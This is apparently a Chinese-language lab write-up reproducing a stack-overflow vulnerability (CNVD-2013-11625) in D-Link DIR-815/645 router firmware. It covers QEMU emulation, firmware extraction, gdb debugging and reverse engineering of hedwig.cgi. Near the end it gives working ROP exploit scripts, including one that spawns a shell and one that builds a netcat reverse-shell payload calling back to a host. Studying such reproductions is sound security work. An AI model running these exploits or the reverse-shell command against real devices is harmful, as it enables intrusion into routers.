CNVD-2013-11625

漏洞描述:

D-Link DIR-645是一款无线路由器设备。

D-Link DIR-645 “post_login.xml”,”hedwig.cgi“,”authentication.cgi”不正确过滤用户提交的参数数据,允许远程攻击者利用漏洞提交特制请求触发缓冲区溢出,可使应用程序停止响应,造成拒绝服务攻击。

测试环境:

复现的物理机为:ubuntu-20.04

安装qemu / binwalk / sasquatch / gdb-multiarch

对mips架构下的汇编有一定了解。

固件下载:DIR-815A1_FW101SSB03.bin

  • 查看一下虚拟机的环境

image-20241227143329390

  • 开启桥接模式

image-20241227143607885

  • 进入root管理员模式,进入/opt/tools目录下,并且所有工具均保存到其目录下

image-20241227144525134

  • 安装binwalk、sasquatch、qemu。

安装binwalk

1
sudo apt install binwalk

安装Sasquarch

1
2
3
4
5
6
sudo apt-get install build-essential liblzma-dev liblzo2-dev zlib1g-dev
cd /opt/tools/
sudo git clone https://github.com/devttys0/sasquatch
cd ./sasquatch
chmod +x build.sh
./build.sh

安装qemu

1
2
3
4
sudo apt update && sudo apt install qemu qemu-user qemu-user-static qemu-system
sudo apt-get install binfmt-support libncurses5-dev gcc-arm-linux-gnueabi build-essential synaptic gcc-aarch64-linux-gnu
#安装依赖库
sudo apt-get install -y gcc-arm-linux-gnueabi

​ 查看是否安装成功qemu-system-x86_64 --version

image-20241227151155843

  • 环境配置搭建

我们使用qemu-system-mipsel从系统角度进行模拟

首先下载其mips架构下对应的内核和镜像

1
2
wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta                 #内核镜像
wget https://people.debian.org/~aurel32/qemu/mipsel/debian_squeeze_mipsel_standard.qcow2 #文件系统

然后编辑qemu启动脚本start.sh:

1
2
3
4
5
6
7
8
sudo qemu-system-mipsel \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic \
-net tap \
-nographic \

(这三个文件放在同一目录下)

然后给运行这个start.sh 就行了(跑不起来,看看加一个可执行权限就行)

启动后输入用户名/密码 root/root或user/user即可登录qemu模拟的系统。

image-20241229202223445

  • 在宿主机创建一个网卡,使qemu内能和宿主机通信

因为我们创建的虚拟机是没网的,so我们给他配一个网卡就行了

安装依赖库:

1
sudo apt-get install bridge-utils uml-utilities

在宿主机运行下面命令:

1
2
3
4
5
6
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT

查看一下ip addr

image-20241229203409233

这时我们给tap0配一个IP地址

1
ip addr add 192.168.100.254/24 dev tap0

image-20241229203619969

然后我们在配一下qmu虚拟系统的路由

1
2
ip addr add 192.168.100.2/24 dev eth0
route add default gw 192.168.100.254

image-20241229204550646

  • 最后一步,将binwalk解压出来的squashfs-root文件夹上传到qemu系统中的/root路径下

下载的固件进行解压即可

1
binwalk -Me DIR-815A1_FW101SSB03.bin

找到squashfs-root文件进行scp上传,输入root密码即可

1
scp -r squashfs-root/ root@192.168.100.2:/root

备份(在qemu虚拟机里进入/root/squashfs-root目录下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cp sbin/httpd /
cp -rf htdocs/ /
rm -rf /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi

接下来在qemu虚拟系统的根目录( / )下,创建一个名为conf的文件,此文件是httpd服务的配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件
Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}
Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth0 #网卡
Address 192.168.100.2 #qemu的ip地址
Port "4321" #对应web访问端口
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}

这里还是建议scp传过去就行

1
scp conf/ root@192.168.100.2:/

启动httpd服务

1
./httpd -f conf

我们在虚拟机访问一下这个服务

image-20241229211345987

设置环境变量:

1
2
3
4
5
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
export HTTP_COOKIE="uid=1234"

image-20241229211524179

这样差不多环境就配完了

这里有一个小问题,我们模拟的环境是开启了地址随机化的,但是我们原本的固件是没有开着的。

1
>echo 0 > /proc/sys/kernel/randomize_va_space

关掉之后就会发现我们是可以打通的了

但是qemu模拟的环境的shell十分难用

这里建议直接拿ssh连一下(ps -aux查看进程)

1
ssh 192.168.100.2

漏洞分析:

  • gdb调试

首先下载一下使用异构gdb

1
sudo apt install gdb-multiarch

然后embedded-tools/binaries at master · rapid7/embedded-tools在这下载我们的gdbserver传到我们的qemu虚拟机里面

1
scp -r gdbserver/ root@192.168.100.2:/

在qemu虚拟机里起命令

1
./gdbserver.mipsle      192.168.100.2:8888 /htdocs/web/hedwig.cgi

然后我们在宿主机上启动

1
2
3
gdb-multiarch cgibin
set architecture mips
target remote 192.168.100.2:8888

image-20241230210044944

然后就能正常调试了

注意这里调试的时候建议直接下一个断点,然后直接让它走到我们的hedwigcgi_main函数就行

1
2
b *0x0409480
b *0x0409A54

因为我们在尝试的正常调试的时候,他会先走到/lib/ld-uClibc.so.0这,但是我们这块会报错说我们找不到这个,所以建议直接下断点到hedwigcgi_main函数这,直接c进行跳过

image-20250101155047349

  • 逆向分析

事实上,固件的cgi都是实现在/htdocs/cgibin中的。我们对cgibin进行分析即可。

用ida32位打开

image-20250102135850602

因为我web方向比较薄弱(逆向也一般),这里是直接进行对照[漏洞复现进行逆向分析的

首先取环境变量REQUEST_METHOD,然后必须是post进行传参。

image-20250102140248200

接着走到下面的函数cgibin_parse_request,这个函数大致的理解就是对url进行解析,然后将post的内容读出来,然后在通过

sub_409A6C函数进行解析。

cgibin_parse_request函数内

image-20250102140757693

这里需要获取环境变量,需要我们进行传入一些东西

image-20250102142618200

这里我们获取CONTENT_TYPEapplication/进行比较,之后调用数组off_42c014中的函数。该数组在data段,查看该数组内容。

image-20250102142929770

大致就是,根据CONTENT_TYPE类型,调用不同的函数进行初始化。这里知道我们的参数类型大致为ONTENT_TYPE/x-www-form-urlencoded

然后走到我们的sess_get_uid(v4)函数,这个函数里面对环境变量HTTP_COOKIE的获取,并且对HTTP_COOKIE中的=进行分离

=前面的内容被存入了v2,后面的内容被存入了v4

image-20250102141256443

这里最后对v2进行了一个验证

image-20250102141501116

也就是判断等号前的内容是否为uid,判断通过了以后,就会将等号后面的字符串拼接入a1,也就是主函数传进来的参数v4

然后就到了我们发现栈溢出的点

1
sprintf(v27, "%s/%s/postxml", "/runtime/session", string);

string中存的V4,也就是uid=后面的内容是我们可以控制的,我们可以看见V27的大小正好是1024,正好是存在栈溢出的

然后继续往下看,还有一个,这里的string仍然是v4,进一步观察,发现v4在两个sprintf之间未被改变过,也就是说,这里的string仍然是cookieuid=后面的字符串,如果能走到这第二个sprintf的话,那么这里才是真正的溢出漏洞点,因为仍然是v27数组的溢出,两次拼接的字符串又一样,所以这里能覆盖上一次sprintf的内容。

这里有两个函数判断,这里直接是可以不管的,因为一般情况下这两种情况一般机器都可以正常绕过。

image-20250102143438694

漏洞验证:

这里也是直接粘贴脚本验证的

1
2
3
4
5
6
7
#!/bin/bash
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE=$(python -c "print 'uid=' + 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak'")
export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=4321"|./gdbserver.mipsle 192.168.100.2:8888 /htdocs/web/hedwig.cgi

这里呢就是设置传入的环境变量,和我们进行查找偏移(这里我是直接使用cyclic 1024进行生成,并且用 cyclic进行查找的)

命令在qemu虚拟机里面敲,然后我们正常使用gdb-multiarch远程进行调试就行了

image-20250102144357350

然后我们也是看见了我们的偏移为1009也就验证了复现的时候,它这里是1009的主要原因了

image-20250102144610718

我们现在知道了偏移,并且能控制几个寄存器,然后我们就可以正常进行构造ROP链进行攻击了

这里我还是看了l1s00t师傅-Mips栈溢出常见ROP构造 进行构建ROP链的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

context.log_level = 'debug'
context.arch = 'mips'

libc_base = 0x7F738000

payload = flat(
{
0x3cd: {
0: 'aaaa', # s0
0x4: libc_base + 0x436d0, # s1 move $t9, $s3 (=> lw... => jalr $t9)
0xc: libc_base + 0x56BD0, # s3 sleep
0x24: libc_base + 0x57E50, # ra li $a0, 1 (=> jalr $s1)
0x28: {
0x28: libc_base + 0x37E6C, # s4 move $t9, $a1 (=> jalr $t9)
0x2c: libc_base + 0x3B974, # ra addiu $a1, $sp, 0x18 (=> jalr $s4)
}
}
}, filler='a'
)

payload += b'a' * 0x18
payload += asm(shellcraft.sh())

payload = b"uid=" + payload
p = process(b"""
qemu-mipsel -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=11 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE="%s" \
-E REQUEST_URI="2333" \
./htdocs/cgibin
""" % payload, shell = True)

# pause()

# POST
content = "test=l1s00t"
p.send(content)

p.interactive()

image-20250102160844185

然后还有正常反弹shell的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x77f34000
system_addr_1 = 0x53200-1
gadget1 = 0x158c8
gadget2 = 0x159cc
cmd = 'nc -e /bin/bash 192.168.100.254 9999'
padding = 'A' * 973
padding += p32(base_addr + system_addr_1) # s0
padding += 'A' * 4 # s1
padding += 'A' * 4 # s2
padding += 'A' * 4 # s3
padding += 'A' * 4 # s4
padding += p32(base_addr+gadget2) # s5
padding += 'A' * 4 # s6
padding += 'A' * 4 # s7
padding += 'A' * 4 # fp
padding += p32(base_addr + gadget1) # ra
padding += 'B' * 0x10
padding += cmd
f = open("context",'wb')
f.write(padding)
f.close()

libc基址是直接看就行,system函数命令找

1
readelf -s ./libc.so.0 | grep system

image-20250102160359785

image-20250101155707896

image-20250102160512610

这里我找不到它对应的命令地址。准备先放着

插件安装:

IDA安装使用MIPSROP插件

把压缩包下的东西放到plugins目录下即可

通过网盘分享的文件:mipsrop.zip 链接: https://pan.baidu.com/s/10VZxc_Er0fXLo9WGoOCHaQ

提取码: Rweb

mipsrop简单使用

在idapython里面敲

1
2
import mipsrop
mipsrop = mipsrop.MIPSROPFinder()

然后在下面的命令行查找就行了

image-20250102150205334

常用的命令

1
2
3
4
5
6
rop = mipsrop.MIPSROPFinder()
rop.stackfinder() # 寻找栈数据可控的 rop,建立栈和 a类型与s类型 寄存器的关系
rop.find(xxx) # 查找指定的rop,可以使用正则表达式匹配
rop.tails() # 列出将栈上的数据保存在$ra等寄存器中的rop
rop.system() # 寻找命令执行的的 rop,建立栈与寄存器$a0的关系
rop.summary() # 查找可用的完整调用链

总结:

怎么说呢,算是真正第一次完整的吧一个漏洞完整的复现出来了,但是不会的地方还是有很多,比如对mips架构汇编指令的掌握,以及对其架构下ROP链构造的理解程度。以及一些web知识的掌握还要对逆向分析的理解都不是特别明了,并且花费时间周期很长,特别在环境的搭建和在上网查找复现文章的筛选上。

关闭qemu虚拟机并删除进程

  • 首先查看进程
1
ps -aux | grep qemu

image-20241229192336401

然后kill进程就行了

1
kill -9 8143 8144

注意!注意!注意!

我们如果意外关闭虚拟机或者在想起一遍进程就需重新跟换文件系统即可!!

image-20241229201456793

1
2
rm vmlinux-3.2.0-4-4kc-malta 
rm debian_squeeze_mipsel_standard.qcow2

参考文章:

DLink 815路由器栈溢出漏洞分析与复现 - unr4v31 - 博客园 (cnblogs.com)

从零到一:复现 DIR-815 栈溢出漏洞_dir815漏洞复现-CSDN博客

原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com

dir-815 栈溢出漏洞复现 - Hexo (lst-oss.github.io)

特别感谢:

inf_师傅:https://blog.next-infinite.top/

l1s00t师傅:https://lst-oss.github.io/

再次感谢上面的文章和师傅,对我的漏洞复现和学习提供了很多的帮助并且收益匪浅!!!